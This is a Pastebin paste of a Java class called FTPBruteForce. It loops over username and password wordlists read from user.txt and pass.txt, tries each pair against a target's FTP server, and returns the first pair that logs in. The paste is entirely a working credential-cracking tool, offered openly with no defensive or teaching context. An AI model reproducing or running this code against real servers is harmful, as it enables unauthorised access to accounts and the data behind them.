Advertisement
Guest User

Untitled

a guest
Jun 3rd, 2015
357
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.75 KB | None | 0 0
  1. import java.io.IOException;
  2. import org.apache.commons.net.ftp.*;
  3. import java.io.*;
  4.  
  5. public class FTPBruteForce
  6. {
  7.  
  8.     public FTPBruteForce()
  9.     {
  10.     }
  11.  
  12.     public credenciales crackFTP(String ip)
  13.     {
  14.         String j;
  15.         String k;
  16.         ip = "ftp." + ip;
  17.         credenciales acertado = new credenciales();
  18.         credenciales fallado = new credenciales();
  19.         try{
  20.             File us = new File("user.txt");
  21.             FileReader usr=new FileReader(us);
  22.             BufferedReader busr = new BufferedReader(usr);  
  23.             while((j = busr.readLine()) != null){
  24.                 File ps = new File("pass.txt");
  25.                 FileReader psr=new FileReader(ps);
  26.                 BufferedReader bpsr = new BufferedReader(psr);
  27.                 while((k = bpsr.readLine()) != null){
  28.                     if (conectarFTP(j, k, ip)){
  29.                         acertado.modificarUser(j);
  30.                         acertado.modificarPass(k);
  31.                         return acertado;
  32.                     }    
  33.                 }
  34.             }
  35.             fallado.modificarUser(null);
  36.             fallado.modificarPass(null);
  37.             return fallado;
  38.         }
  39.         catch(IOException e){
  40.             System.out.println("Falta user.txt o pass.txt");
  41.             fallado.modificarUser(null);
  42.             fallado.modificarPass(null);
  43.             return fallado;
  44.         }
  45.     }
  46.    
  47.     public boolean conectarFTP(String user, String Pass, String ip){
  48.         FTPClient client = new FTPClient();
  49.         try{
  50.             client.connect(ip);
  51.             boolean login = client.login(user,Pass);
  52.             client.logout();
  53.             return login;
  54.         }
  55.         catch(IOException e){
  56.         }
  57.         return false;
  58.     }
  59. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement